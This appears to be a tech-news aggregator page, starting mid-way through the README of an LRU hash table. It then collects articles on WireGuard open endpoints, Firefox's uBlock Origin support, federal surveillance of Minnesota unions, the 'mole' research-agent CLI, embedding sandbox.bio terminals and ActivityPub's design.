  • Strictly Single-Threaded Workloads: This table is explicitly designed to solve multi-threaded locking bottlenecks. In purely single-threaded environments, a standard STL-based LRU may outperform it. The standard containers are highly optimized for uncontended execution, whereas the Array-Backed table still incurs the fixed overhead of atomic operations, memory barriers, and reader-writer lock acquisitions.
  • Highly Memory-Constrained Environments: To achieve zero runtime allocations and prevent OS lock stalls, this table pre-allocates flat "Mega-Blocks" for its entire maximum capacity upfront. If your environment cannot afford to pre-allocate the maximum potential memory footprint, you must use a traditional node-based container that allocates memory on demand.

Quick Start API Overview

Values must inherit or implement an intrusive reference counting interface (AddRef() and Release()).

// 1. Initialization
using CustomTable = LruHashTable<uint64_t, RefCountedPayload, MyHasher>;
CustomTable table;

// Initialize with capacity 1M, and a 25% LRU Promotion Safe-Zone
table.Initialize(1000000, 25); 

// 2. Proactive Trimming (Optional optimization to maintain flat tail latency)
// Can be executed during idle periods or scheduled via a lightweight background worker.
std::jthread trimThread([&table](std::stop_token stoken) 
{
    while (!stoken.stop_requested()) 
    {
        // Evicts up to 5000 LRU items, but ONLY from shards 
        // exceeding the 90% high-watermark, stopping at 85%.
        table.Trim(5000); 
        std::this_thread::sleep_for(std::chrono::milliseconds(150));
    }
});

// 3. Insertion
RefCountedPayload* payload = new RefCountedPayload(data);
payload->AddRef();
table.Add(key, payload);
payload->Release(); // Safely drop local reference

// 4. Lookup
RefCountedPayload* out = nullptr;
if (table.Lookup(key, out)) 
{
    // Use the payload...
    out->Release(); // MUST release when done
}

// 5. Removal
table.Remove(key);

Project structure

The repository is organized into distinct layers to separate the core hash table logic from the environment-specific wrappers and test suites:

  • km/ : Contains the Kernel-Mode LRU Hash table implementation.

    • LRUHashTable.h : The primary header for use in Windows Driver environments.
  • um/ : Contains the User-Mode LRU Hash table implementation.

    • lru_hash_table.h : The cross-platform header for Linux, macOS, and Windows applications.
    • lru_string_key.h : High-performance string-based key implementation.
  • test_common/ : Shared test logic used by both kernel and user-mode performance tests.

    • std_lru_hash_table.h : A wrapper for standard library comparisons.
    • test_lru_hash_common.h : Shared performance tests and validation logic.
  • test_km/ : Test code for verifying kernel-mode logic within a user-mode performance test harness.

    • TestLRUHashKm.cpp : The driver-logic test harness, strictly requiring MSVC 2022/2026 on Windows.
  • test_um/ : Cross-platform user-mode performance test suite.

    • test_lru_hash.cpp : The primary benchmark and validation tool used on Linux, macOS, and Windows.
  • test_drv/ : Actual Windows Kernel driver performance test code for deployment on target systems.

    • TestLruDrv.cpp : Windows Kernel driver performance test code
  • sample_um/ : User-mode sample code.

    • sample_lru_hash.cpp : User-mode C++ sample showing how to use efficient string-based key with LRU Hash table.

Building test code

Linux / macOS

Requires a C++20 compliant compiler (GCC or Clang).

Linux Dependencies: The Linux user-mode implementation utilizes libnuma to bind shard allocations to physical CPU sockets, mimicking the memory controller routing of the Windows kernel implementation. You must install the NUMA development headers before building:

# Ubuntu / Debian
sudo apt-get update
sudo apt-get install libnuma-dev numactl

# RHEL / Fedora / CentOS
sudo dnf install numactl-devel

Using the Build Script (Recommended)

./build.sh [--clean | -c] [--hybrid] [--type Release | Debug] [--compiler g++ | clang++]

Defaults:
 - Build type: Release
 - Compiler: g++
 - Hybrid mode: OFF
 - Reuses existing build/

Options:
-c, --clean → Remove build/ before building
--hybrid    → Enables LRU_USE_EXPONENTIAL_BACKOFF to better mitigate Lock Holder Preemption (LHP) on virtualized hardware. If building on Linux, this will also link jemalloc if installed.
-t, --type  → Set build type (Release or Debug)
--compiler  → Choose compiler (g++ or clang++)
-h, --help  → Show help and exit
#Set permissions (once):
chmod +x ./build.sh

# Standard Release build using default C++ compiler
./build.sh

# Clean Release build using clang++ (Optimized for macOS or specific Linux tests)
./build.sh --clean --type Release --compiler clang++

# Debug build for troubleshooting
./build.sh --clean --type Debug

Using CMake The included CMakeLists.txt automatically detects your platform, handles libnuma linking on Linux, and configures optimized build flags.

mkdir build && cd build
# Using -DUSE_EXPONENTIAL_BACKOFF=ON for virtualized environments (VMware/AWS/Azure)
cmake .. -DCMAKE_BUILD_TYPE=Release
cmake --build . -j $(nproc)

Manual Compilation If you prefer building without CMake, ensure you include the -pthread and -lnuma (Linux only) flags for proper linking.

# GCC (Linux)
g++ -std=c++20 -O3 -march=native -flto=auto -funroll-loops -fomit-frame-pointer -fno-rtti -fexceptions -pthread \
    -I./um -I./test_um -I./test_common test_um/test_lru_hash.cpp -o bin/test_lru_hash -lnuma
	
# Clang (Linux/macOS - omit -lnuma on Mac)
clang++ -std=c++20 -O3 -march=native -flto -funroll-loops -fomit-frame-pointer -fno-rtti -fexceptions -pthread \
    -I./um -I./test_um -I./test_common test_um/test_lru_hash.cpp -o bin/test_lru_hash -lnuma

# Use -DUSE_EXPONENTIAL_BACKOFF=ON for virtualized environments (VMware/AWS/Azure)

Optimizing for Linux Guest VMs: Cross-platform thread scaling inside virtual machines often hits bottlenecks due to guest OS scheduler behavior and standard library allocator contention. This implementation addresses these bottlenecks and improves multi-threaded scaling through two specific mitigations:

Hard vCPU Yielding: Standard sched_yield() (via std::this_thread::yield()) is frequently treated as a no-op by the Linux CFS scheduler when no other threads are waiting on that specific vCPU. This causes "busy-spins" that trigger VM-Exit storms. The custom ExponentialBackoffPolicy mitigates this by forcing a hard context switch via a 500-nanosecond nanosleep once the exponential backoff threshold is met.

Allocator Contention (jemalloc): The default glibc malloc heavily throttles concurrent allocations. To prevent allocator bottlenecks on Linux, it is highly recommended to link against jemalloc. This replaces the contention-heavy system heap with a sharded, lock-free allocation strategy that complements the table's internal sharding.

# Install jemalloc (Ubuntu / Debian)
sudo apt-get install libjemalloc-dev

# Install jemalloc on RHEL / Fedora / CentOS
sudo dnf install jemalloc-devel

Recommended Step: Running the Benchmark on Linux To ensure the test suite can accurately benchmark tail latencies, apply NUMA node affinity, and manage thread priorities without requiring full root privileges, it is highly recommended to grant the test_lru_hash executable the CAP_SYS_NICE capability before execution.

# Ubuntu / Debian
sudo apt install libcap2-bin 

# RHEL / Fedora / CentOS
sudo dnf install libcap          

sudo setcap cap_sys_nice+ep ./build/bin/test_lru_hash

Windows (User-Mode & Kernel-Mode)

Native Visual Studio Solution (.slnx/.sln) and Project (.vcxproj) files are included in the repository.

User-Mode Build using Visual Studio 2022 or later.

  • Note: If building with Visual Studio 2022, you must manually change the Platform Toolset to v143 in the project properties.
  • Requires C++20.
  • NUMA support is handled natively via VirtualAllocExNuma.

Kernel-Mode: Build using Visual Studio 2022 and the Windows Driver Kit (WDK 11).

  • Requires C++17.
  • The implementation utilizes EX_PUSH_LOCK and performs NUMA-aligned allocations via ExAllocatePool3 .
  • IRQL Restriction: Since the synchronization boundary uses push locks (which operate at <= APC_LEVEL ), the current kernel implementation can only be used at IRQL < DISPATCH_LEVEL (i.e., PASSIVE_LEVEL or APC_LEVEL ). It is not safe for use inside DPC routines or hardware interrupt handlers.

Conclusion & Future Hardware Extrapolation

Per Amdahl's Law, standard global-lock LRU implementations are heavily limited by their sequential synchronization overhead, inevitably leading to lock convoys under heavy contention. By utilizing a sharded architecture to isolate synchronization, Array-Backed table minimizes that sequential fraction, allowing throughput to scale positively with parallel load.

Based on this mechanical sympathy, the performance advantage of this architecture will become even more pronounced on modern hardware topologies:

  • Massive L3 Caches (e.g., AMD 3D V-Cache / Server CPUs): Utilizing 32-bit array indices halves the structural memory footprint. This allows significantly larger working sets to reside within L3 SRAM, deferring main-memory latency penalties.

  • High Parallelism & NUMA (Threadripper / EPYC / Xeon): Avalanche hashing and NUMA-aware physical memory allocation evenly disperse workloads across physical sockets. This sustains near-linear scaling well past the threshold where standard implementations degrade.

  • Symmetric Core Scaling & Cache Coherency (Ryzen / Threadripper): At extreme core counts, the "Lazy Promotion" optimization skips exclusive lock upgrades on hot reads. This keeps targeted cache lines in the Shared (S) state within the MESI protocol, allowing multiple cores across different chiplets to cache the same nodes locally without triggering cross-die invalidation traffic.


License

This project is licensed under the Apache License, Version 2.0.

You may not use this file except in compliance with the License. You may obtain a copy of the License at: http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the LICENSE file for the specific language governing permissions and limitations.

Open WireGuard Endpoints

Hacker News
proxylity.com
2026-08-14 15:05:46
Comments...
Original Article

Diagram showing open WireGuard endpoint accepting any peer and async Lambda workflow

Two new capabilities are available in UDP Gateway today. The first allows WireGuard Listeners to accept connections from any client without pre-registration — the same model HTTPS uses for websites. The second allows Lambda destinations to be invoked asynchronously, firing a packet into a long-running workflow without the Gateway waiting for a response. Together they open up a class of public-facing, event-driven WireGuard services that previously required significant custom infrastructure to build.

WireGuard Open Endpoints

WireGuard Listeners have always required every connecting client to be pre-registered: you list each peer's public key in your CloudFormation template, and the Listener rejects any handshake from an unknown key. That model fits private services with a managed set of devices. But it creates a problem for anything that needs to be accessible by a large or unknown set of clients.

Consider a mobile app that generates a WireGuard keypair on first launch. Or a fleet of devices provisioned on demand where central key management is operationally impractical. Or any public-facing service where clients you've never seen before need to connect. With the previous model, every one of those clients required an out-of-band registration step and a CloudFormation update before it could complete a handshake. That's not a model that scales to public services.

The new AllowUnknownPeers property removes that restriction. Set it to true on a WireGuard Listener and the Gateway will complete the handshake with any valid WireGuard client, regardless of whether its public key is listed. The connection is still fully encrypted — WireGuard's cryptographic properties don't change. The difference is simply that the Listener no longer requires the key to be known in advance.

The analogy to HTTPS is intentional. When you visit a website over HTTPS, the server doesn't need to know who you are before establishing an encrypted connection. The TLS handshake completes, the channel is encrypted, and authentication (if it happens at all) is a separate concern at the application layer. Open WireGuard endpoints work the same way: the transport is encrypted, and identity can be handled by your Lambda or Step Functions destination however your application requires.

Adding a shared credential gate

Fully open enrollment — accepting literally any WireGuard client — is appropriate for some services. For others, you want the encryption and the open handshake, but you also want to prevent connections from clients that weren't issued credentials. The UnknownPeerPreSharedKey property provides a lightweight gate for exactly this case.

When UnknownPeerPreSharedKey is set, unknown peers must include that PSK in their WireGuard configuration or the handshake fails. It's not per-device authentication — every client uses the same secret — but it meaningfully restricts access to clients that were issued the PSK. Think of it like a shared API key for transport-layer access: not strong identity, but a real barrier against arbitrary connections from clients who were never given credentials.

Distributing the PSK to clients is your application's responsibility. Store it in AWS Secrets Manager and reference it from your CloudFormation stack on the infrastructure side; provision it to devices during manufacturing or enrollment on the client side.

WireGuardListener:
  Type: Custom::ProxylityUdpGatewayListener
  Properties:
    ServiceToken: !FindInMap [ProxylityConfig, !Ref "AWS::Region", ServiceToken]
    ApiKey: !FindInMap [ProxylityConfig, Account, ApiKey]
    Protocols:
      - wg
    AllowUnknownPeers: true
    UnknownPeerPreSharedKey: !Sub "{{resolve:secretsmanager:${WireGuardPSK}:SecretString}}"
    Destinations:
      - Name: packet-handler
        DestinationArn: !GetAtt HandlerLambda.Arn
        Role:
          Arn: !GetAtt ProxylityRole.Arn

Named peers (listed in the Peers array) are unaffected by AllowUnknownPeers and UnknownPeerPreSharedKey . They use their own per-peer SharedSecret as before. The two models can coexist on a single Listener: a fixed set of known devices with per-device PSKs, and an open slot for dynamic clients behind a shared credential.

Lambda Async Invocation

Lambda destinations in UDP Gateway have always used synchronous RequestResponse invocation: the Gateway delivers a batch of packets, waits for the function to complete, and uses the function's return value to send reply packets back to clients. That model is the default to align with how UDP request/response patterns work.

But synchronous invocation becomes limiting for workloads where a function's job is to kick off processing that outlives a single invocation. Lambda durable functions address exactly this: using a checkpoint-and-replay mechanism, a durable function can execute for up to one year, automatically resuming after failures without losing progress. The Event invocation type is the right delivery model here — the Gateway fires the packet batch and moves on while the durable execution continues independently.

The new UseAsyncInvoke argument changes the invocation type to Lambda's Event mode. The Gateway delivers the packet batch and immediately receives an HTTP 202 Accepted without waiting for the function to complete. No reply is sent to the UDP client. The function runs to completion independently of the Gateway's request lifecycle.

The primary use case is triggering durable workloads. A function invoked with UseAsyncInvoke receives the inbound packet batch, starts a durable execution (or dispatches to Step Functions if you prefer that orchestration model), and returns immediately. The remote client sent a UDP packet; a long-running, fault-tolerant workflow is now running on its behalf, with checkpointed progress and automatic recovery from failures — none of which requires the Gateway to hold a connection open.

Destinations:
  - Name: workflow-trigger
    DestinationArn: !GetAtt WorkflowTriggerLambda.Arn
    Role:
      Arn: !GetAtt ProxylityRole.Arn
    Arguments:
      UseAsyncInvoke: "true"

A few things to keep in mind when using async invocation:

  • No replies: The function's return value is discarded. If a packet needs a reply, async invocation is the wrong tool — use standard synchronous invocation or response streaming instead.
  • AWS retries on failure: Lambda will automatically retry a failed async invocation up to twice. Make sure your function (and any downstream workflow it starts) is idempotent, or configure a dead-letter queue to capture failures without silent data loss.
  • Mutual exclusion with streaming: UseAsyncInvoke and UseResponseStreaming cannot both be true on the same destination — they represent opposite delivery models.

Putting them together

These two features are independent, but they combine naturally for a specific pattern: a public WireGuard endpoint that triggers a long-running backend workflow.

Imagine a device provisioning service. Devices are manufactured without pre-registered keys — they generate a keypair on first boot, connect to the open WireGuard Listener using the shared PSK, and send a provisioning request packet. A Lambda function receives the packet, starts a Step Functions state machine that handles the full provisioning workflow — identity registration, certificate issuance, DynamoDB record creation, SNS notification — and returns. The state machine runs for minutes or hours. The device receives no immediate reply; provisioning confirmation comes through a separate channel once the workflow completes.

None of that requires managing a key registry before devices ship. None of it requires the Gateway to hold a connection open for the duration of provisioning. It's a packet in, a workflow started, and no infrastructure running between events.

The same pattern applies to any inbound-triggered workflow where the sender doesn't need an immediate response, such as device commands that kick off multi-step validation before execution, and audit events that need durable processing guarantees across multiple systems.

Getting started

Both features are available now across all regions where UDP Gateway is supported. Neither requires changes to existing Listeners or destinations — AllowUnknownPeers defaults to false and existing peer-list behavior is unchanged, and Lambda destinations continue to use synchronous invocation unless UseAsyncInvoke is explicitly set.

For complete configuration details, see the WireGuard Listeners documentation and the Lambda destination documentation . The full CloudFormation property reference for AllowUnknownPeers and UnknownPeerPreSharedKey covers all options including mixing named and unknown peers on the same Listener.

Firefox is now the last major browser that still supports uBlock Origin

Hacker News
www.pcworld.com
2026-08-14 15:03:20
Comments...
Original Article

When you purchase through links in our articles, we may earn a small commission. This doesn't affect our editorial independence .

Firefox says it will keep supporting uBlock Origin even as Microsoft Edge and other Chromium browsers phase it out under Manifest V3.

Firefox recently announced via Bluesky post : “Our support for uBlock Origin isn’t going anywhere.” The moment comes in response to news that Microsoft Edge is soon going to lock out uBlock Origin and other ad-blocking extensions that run on Manifest V2 architecture.

Once Microsoft Edge moves to Manifest V3, ad-blocking extensions won’t have access to the functions needed to properly identify and block ads that occur while browsing websites and watching videos.

Microsoft’s move isn’t surprising, as Edge is based on Chromium, the open-source browser engine that powers most web browsers today, including Opera, Brave, Vivaldi, and Samsung Browser. Google initiated the migration from Manifest V2 to V3 in Chrome/Chromium, and Microsoft Edge is now following Google’s lead.

But Firefox is one of the few web browsers remaining that isn’t based on Chromium, and it’s now the only major browser to still support uBlock Origin. Neither Safari nor DuckDuckGo—the two other major non-Chromium browsers out there—support uBlock Origin.

For die-hard uBlock Origin fans, Firefox appears to be the only browser left without compromises. With any other browser, you’ll need to settle for uBlock Origin Lite (with fewer features and less ad-blocking success) or whatever built-in ad-blocking feature comes with the browser.

This article originally appeared on our sister publication PC för Alla and was translated and localized from Swedish.

Federal Spies Hunt Minnesota Unions in Search of Conspiracy, but Find Solidarity

Portside
portside.org
2026-08-14 14:53:35
Federal Spies Hunt Minnesota Unions in Search of Conspiracy, but Find Solidarity Maureen Fri, 08/14/2026 - 14:53 ...
Original Article

Yesterday news broke of a sweeping undercover investigation by the Department of Homeland Security in Minnesota early this year to infiltrate and surveil meetings and obtain the financial records of nonprofit groups and two of the country’s largest unions, the Communications Workers (CWA) and the Service Employees (SEIU). This investigation was behind the indictments of 15 people in June.

The news should unite the labor movement in defense of constitutional rights and democracy as its members face what one defendant’s attorney calls “ political prosecution .”

“CWA 7250 has learned that we have been subject to an illegal and aggressive federal investigation that used undercover agents to enter our office, infiltrate meetings we co-sponsored, subpoena our finances, and surveil one of our officers,” said CWA Local 7250 President Kieran Knutson.

“We know that this is because our members, from across the workplaces we represent,
were active in the fight against the federal occupation and racist campaign of terror by ICE. CWA 7250 members joined neighborhood rapid-response groups, distributed warning whistles, protested at the Whipple Federal Building, marched in the streets and the snow, and helped build the January 23rd Day of Truth and Freedom.

“We are proud of our work and will never apologize or back down because of these dirty tricks and intimidation.”

“The most notable revelation to me was their infiltration of the February 15th Workers Assembly to Defeat ICE, a great event that brought over 300 unionists and community members together to democratically debate on next steps for the movement,” said UFCW Local 663 executive board member Paul Kirk-Davidoff, a meat cutter at Cub Foods supermarket.

“I helped put this together, and multiple unions sponsored the event. Four undercovers attended, and made sure to take detailed notes of all the speakers and political positions. This, along with the surveillance of unions, leads me to believe that the feds were frightened by the January 23rd mass strike and the possibility of more labor action.”

BOGUS CONSPIRACY

Federal Deputy Attorney General Brian Lynch participated in the January 6 insurrection at the Capitol. Now he is leading a taskforce dedicated to prosecuting left-wing activism, which the administration calls political violence. The taskforce is using Trump’s National Security Policy Memorandum (NSPM-7) to investigate the funding sources of the president’s opponents.

Lynch is casting a wide net to go after Trump’s perceived enemies. The investigation targets, among others, the AFL-CIO, the Minnesota Association of Professional Employees, and the Minneapolis Federation of Educators. A slide that prosecutors showed to a grand jury portrays the unions, along with some nonprofits, left groups, and a bike shop, as part of an antifa conspiracy.

Minnesotans are responding with solidarity.

“This winter, Minnesotans stood together in rejecting the Trump regime’s occupation of Minnesota,” said a statement from a broad coalition of unions and nonprofit organizations, including many who had not been targeted in the investigation so far.

“Trump’s ICE and Border Patrol agents broke countless laws while kidnapping Minnesotans based on racial profiling, violating our constitutional rights, and murdering our neighbors… Across the state, Minnesotans joined with community, faith, labor, and neighborhood organizations to build networks that protected our neighbors and defended our constitutional rights.”

“Minneapolis educators worked in union to exercise our constitutional rights to peacefully protest Operation Metro Surge and other discriminatory policies of the president—and we will continue to do so,” said Minneapolis Federation of Educators Teacher Chapter President Marcia Howard in a statement. “For now, we have no further comment about this so-called investigation into whatever they’re calling ‘Antifa’ today.”

FOLLOWED TO CHURCHES, PARKS, AND UNION HALLS

In January, after federal agents killed Renee Good and union nurse Alex Pretti, investigators with the Department of Homeland Security launched the undercover mass surveillance and infiltration campaign, called “Operation Puppet Master,” targeting the widespread community and labor organizing against ICE and Border Patrol agents.

“These agents surreptitiously recorded dozens of conversations with ordinary people who were simply exercising their First Amendment rights to protest ICE’s lawless rampage in our state,” wrote attorney Kevin Riach in a brief as part of a discovery filing on behalf of Isaac Sant, one of the “ Minnesota 15 ” who were charged in June with conspiracy to impede federal officers.

“These wild conspiracy allegations are born from the fantasies of political retribution that animate the Trump Administration,” wrote Riach. Undercover agents followed protestors to public meetings at churches, parks, libraries, schools, and union halls.

At one meeting organized by Sunrise Movement at Minneapolis Public Library, where participants learned about the history of peaceful sit-ins and de-escalation tactics, an undercover agent posing as construction worker tried to entrap a speaker, saying he “could build items that might assist with more ‘direct action,’” according to newly disclosed documents. The agent told the person “going to jail did not bother him.”

Federal agents also used facial recognition software called Clearview AI to compile photo dossiers of activists and protestors. In one diagram shared with Labor Notes , the federal government mapped faces of union leaders, members, and staff to their affiliations into an organizational chart as evidence of a conspiracy.

Homeland Security agents used administrative subpoenas to obtain the financial records of SEIU, CWA, and the International Federation of Professional and Technical Engineers, as well as the climate group the Sunrise Movement and the nonprofit Voices for Racial Justice.

When they pored over SEIU’s wire transfers looking for alleged “domestic terrorist financing,” a release of information filing showed, all that Homeland Security investigators could find were “various types of debits and credits to include annuity payments, strike payments, strike supplies, investigations, union member dues, retiree dues, medical expenses, and pension fund expenses.”

A PROUD TRADITION

Minnesota AFL-CIO President Bernie Burnham called the targeting of the labor movement an “unhinged conspiracy theory.”

“Instead of holding federal agents accountable for shooting and killing Renée Good and our union brother Alex Pretti, or addressing the dangerous and deadly conditions within immigration detention facilities,” Burnham said in a statement , “the Trump administration continues to weaponize our federal government to intimidate our unions, our communities, and anyone who peacefully opposes their radical authoritarian agenda…

“They are now bringing back McCarthyism to paint unions and organizations that advocate for workers and families as threats to the nation. “It didn’t work in the 1950s when Joseph McCarthy accused anyone he didn’t like of being unamerican and it won’t work for Donald Trump.”

“We are part of the proud tradition of ordinary Americans who join together in union halls and church basements to make this country better,” CWA President Claude Cummings, Jr. said in a statement . “But our values of unity, of community, are under attack by a president and his Department of Homeland Security that sends government spies to surveil community meetings in church basements...

“CWA is a union with a long history of standing up to bullies and billionaire bosses. We will not be intimidated, and we will not be silenced in our solidarity with our members, with our communities, and with our neighbors.”

Show HN: Mole – Deep research agent for your terminal

Hacker News
github.com
2026-08-14 14:52:48
Comments...
Original Article

Mole — a deep research agent in Go, exposed over MCP

A deep-research agent with an enforced budget, verified quotes, and a privacy boundary for local data.

Ask a question. mole decomposes it, searches, reads sources, extracts claims, checks each claim against the text it came from, looks for contradictions between them, and writes an answer with citations. Every model call is reserved against a budget before it happens and settled after, so the ceiling you set is the ceiling it hits.

It runs as a single static binary on your machine, uses your own API keys, and speaks MCP so a coding agent can drive it — either by handing mole a question and collecting the answer, or, in toolkit mode , by doing the reasoning with its own model while mole supplies the parts that are not model calls.

mole researching a question: planning, 39 claims, two contradictions found, $0.0149 spent


Why mole

Three things mole does that a chat interface with web search does not.

The budget is enforced, not estimated. Every call is reserved before it is made and settled after, against a ledger with non-negative constraints in the database schema itself. --usd 0.50 means the run stops at fifty cents. Measured overshoot across the test corpus is 0%.

Every claim carries a quote, checked against the source. A claim whose quote does not appear verbatim in the page it was mined from is discarded at extraction, before it can reach an answer. Claims that survive can be re-read against their source afterwards, and one that turns out not to be supported is marked as such in the report rather than quietly dropped.

Your local data stays local. Point mole at a CSV or a folder and it will analyse it without the contents leaving your machine: the model chooses a hypothesis template and column names, mole renders and runs the SQL, and only aggregates — counts, means, test results, buckets covering at least five records — are allowed back. mole crossings shows you exactly what left.


Install

Script — Linux and macOS, amd64 and arm64:

curl -fsSL https://raw.githubusercontent.com/lajosdeme/mole/main/install.sh | sh

Downloads the release archive for your platform, verifies its SHA-256 against the checksums published with the release, and installs mole and mole-mcp into ~/.local/bin (or /usr/local/bin if that is writable). It uses sudo only if the target directory needs it, and --dry-run shows what it would do. If piping a script into a shell makes you uneasy — reasonable — read it first, or use one of the paths below.

Homebrew — macOS and Linux:

brew install lajosdeme/mole/mole

Fully qualified, and it has to be: an unrelated mole (a macOS cleanup tool) is in homebrew/core, so brew install mole will always mean that one. Both install a binary called mole , so only one can be linked at a time.

Arch Linux — from the AUR:

yay -S mole-research-bin      # prebuilt release binaries
yay -S mole-research          # build from source

Not mole : that name and mole-bin on the AUR belong to an SSH tunnelling tool that has held them since 2020. The package installs /usr/bin/mole and declares the conflict, so pacman will tell you rather than overwrite anything.

Debian and Ubuntu .deb from the releases page :

curl -fsSLO https://github.com/lajosdeme/mole/releases/latest/download/mole_amd64.deb
sudo dpkg -i mole_amd64.deb

An .rpm is published for the same platforms.

From source — needs Go 1.25+:

go install github.com/lajosdeme/mole/cmd/mole@latest
go install github.com/lajosdeme/mole/cmd/mole-mcp@latest

Or clone and make install , which stamps the version so mole version reports the tag rather than dev .

Every path installs the same thing: two static binaries with no runtime dependencies, built CGO_ENABLED=0 . The database is SQLite, created on first use under your XDG data directory.

Configure

You need a search provider and a model provider. Keys live in ~/.config/mole/config.json , mode 0600 — never in environment variables that leak into process listings, and never in .mcp.json .

mole config set search.provider tavily          # or: brave
mole config set search.tavily-key tvly-...

mole config set llm.provider anthropic          # or: openai-compatible
mole config set llm.api-key sk-...
mole config set llm.model claude-sonnet-5
mole config set llm.cheap-model claude-haiku-4-5

mole doctor                                     # verify everything above

Any OpenAI-compatible endpoint works — DeepSeek, Ollama, llama.cpp, vLLM, a proxy:

mole config set llm.provider openai-compatible
mole config set llm.base-url https://api.deepseek.com/v1
mole config set llm.model deepseek-chat

A model served from localhost is priced at zero and still counted in tokens, so --tokens bounds a self-hosted run that costs no money at all.


Usage

Research a question

mole research "how much electricity does the bitcoin network use?" --usd 0.50
mole research "..." --tokens 200000            # token budget instead of dollars
mole research "..." --max-sources 8 --max-depth 3
mole research "..." --json                      # machine-readable result

Budget is required, and the two units are mutually exclusive. Only dollar mode can price a search call; only token mode can bound a model whose rates mole does not know.

Ask a follow-up

mole ask <session-id> "what did the Cambridge estimate say?"

Answers from the claims that session already collected. No new searching, no new spending beyond the one call to phrase the answer.

Build a dataset instead of prose

mole research "largest UK supermarket chains and their revenue" \
  --mode dataset \
  --schema 'company:text!,revenue:number=annual revenue in GBP,employees:number' \
  --usd 0.50

mole dataset <session-id> --format csv > chains.csv
mole dataset <session-id> --format json          # every value every source gave

! marks the field that identifies a row. Rows are merged across sources by fuzzy key, so Aldi and Aldi UK become one row with two sources. CSV holds one value per cell and says so — it carries a source count and a contested column naming the fields the sources disagree about. JSON carries every disagreeing value with the sources behind each.

Analyse local data

mole connect add sales ./exports/sales.csv       # one file
mole connect add exports ./exports               # or a whole folder
mole research "how does spend differ between regions?" \
  --actors local_compute --usd 0.30

mole crossings <session-id>                      # what left the machine

CSV, TSV, JSON and JSONL are supported; Parquet is not. The model never sees a row and never writes SQL — it picks a template and column names, and mole renders the statement.

Serve MCP clients

Listens on a unix socket, mode 0600, in a private directory, and refuses connections from any other user. Point a client at the shim:

{
  "mcpServers": {
    "mole": { "command": "mole-mcp" }
  }
}

No credentials in that file — the shim forwards to the daemon, which holds them.

Use the subscription you already pay for (toolkit mode)

The arrangement above has mole own the model: it plans, mines and writes with your API key, and the coding agent driving it is pressing a button. Toolkit mode inverts that. The agent's model does the reasoning; mole contributes the deterministic half — which is the half worth having, and the half that does not care whose model is on the other side of it.

If you are inside Claude Code or Qwen Code on a subscription, your model tokens are already paid for. This is the mode for that.

Fourteen tools, each named mole.<tool> , alongside the research.* tools — the flag adds a surface rather than replacing one:

session session_open , session_close
retrieval search , fetch — through mole's SSRF guard, robots handling and rate limiter
evidence verify_quote , claim_add , claims_list , citations
local data connect_list , aggregate — the privacy boundary, unchanged
graph pairs_candidates , edge_add
dataset rows_add , dataset

Inspect a run

mole sessions                # recent sessions and what they cost
mole trace <session-id>      # per-call cost and timing breakdown
mole stats --fetch           # why fetches failed, across sessions

How it works

question
   ↓  planner            decompose into sub-questions, replan as evidence arrives
   ↓  executor           one lead at a time per worker, reserved and settled
   ↓  actor              search → fetch → extract → mine claims
   ↓                     every claim quote-checked against its source
   ↓  verifier           pair up related claims, adjudicate, build the claim graph
   ↓                     re-read a sample of claims against their sources
   ↓  output             synthesise from claims that survived, with citations
answer

Three actor types feed the same graph. web searches and reads pages. academic queries Crossref, OpenAlex, arXiv and PubMed, deduplicates by DOI and prefers open-access full text. local_compute runs deterministic SQL over data you registered and never lets a row reach the model.

Toolkit mode runs the same machinery with the arrows reversed: the agent decides what to search, what to read and which claims relate, and mole does the quote checking, the pair retrieval, the merging and the SQL rendering. Both modes share one copy of each — the same AcceptRow for dataset rows, the same aggregation gate, the same lexical retriever — so a toolkit graph and an autonomous one are built the same way.


Honest numbers

mole grades its own runs. mole eval <session-id> prints a scorecard, and any metric it cannot compute says so instead of quietly reading zero.

budget overshoot 0% — no run has exceeded its ceiling
claim integrity 100% — every stored claim carries a source and a verbatim quote
citation accuracy 100% — every quote found in the source it cites
grounding rate 80% — of claims re-read against their source, confirmed
contradiction precision 70% with the confirm pass, 51% without
merge precision / recall 1.000 / 1.000 on constructed ground truth

Contributing

Bug reports and issues are welcome. Code contributions go through a CLA — see CONTRIBUTING.md , which explains what it is for and what it cannot do.

Maintainers: the release runbook is RELEASING.md .

The one practice this project asks for that most do not: falsify your own fix . After a change, revert the mechanism and confirm the test fails. A test that passes with the fix removed proves nothing, and several of this project's own tests have been caught doing exactly that.

gofmt -l .      # must print nothing
go build ./...
go test ./...   # must be clean, and no new skips

Licence

Apache-2.0. See LICENSE and NOTICE .

Show HN: Embed a real Linux terminal on your website

Hacker News
sandbox.bio
2026-08-14 14:51:27
Comments...
Original Article

Embed sandbox.bio

Add a live terminal to your website or blog post

You can embed a sandbox.bio terminal directly on your website or blog post. Simply add this script tag to your page:

<script src="https://sandbox.bio/embed.js" data-cwd="embed"></script>
A blog post with Run buttons on its code blocks and a terminal docked at the bottom

If you use GitHub Pages, any Markdown code blocks you mark as ```bash will have a "Run" button that executes directly in the embedded terminal. For HTML websites, any <div> with the class "language-bash" will get a "Run" button.

You can also customize the embedded terminal by adding attributes to the script tag:

  • data-cwd="folder-name" : the starting working directory in the terminal
  • data-config="https://yourwebsite.com/config.json" : an optional remote config URL, using the same format as the sandboxbio.config.json file used by the GitHub integration. This file can be hosted on GitHub Pages too.

If you need to preload files in the terminal, you can use the array files inside your config, and specify the URLs to where each file lives:

{
  tools: [
    { "url": "https://<username>.github.io/<repo>/data/example.bam", "path": "example.bam" }
  ]
}

ActivityPub Won by Being Boring

Lobsters
o.ee
2026-08-14 14:44:17
Comments...
Original Article

At FediForum 2026, Evan Prodromou gave a talk with the kind of title only a protocol co-author can get away with: “How To Bullshit Your Way Through a Conversation about ActivityPub.”

The joke worked because the speaker had no need to bluff. Prodromou is one of the five authors listed on the W3C ActivityPub Recommendation and the author of O’Reilly’s ActivityPub book. The self-deprecating frame covered an honest architecture talk about why the Fediverse works at all.

His running gag was that every term could be treated as a portmanteau. Fediverse is federated plus universe. ActivityPub is activity plus publishing. RESTful, in his groaner version, is rest plus full. Fine. Protocol people deserve hobbies too.

Behind the jokes was a serious claim: ActivityPub works because its core is intentionally ordinary. It is impressive in the way a good loading dock is impressive. Trucks arrive. Boxes move. Nobody writes a poem about the forklift.

Any competent Web engineer from the mid-2010s could look at ActivityPub and think, yes, this is roughly how I would have done it.

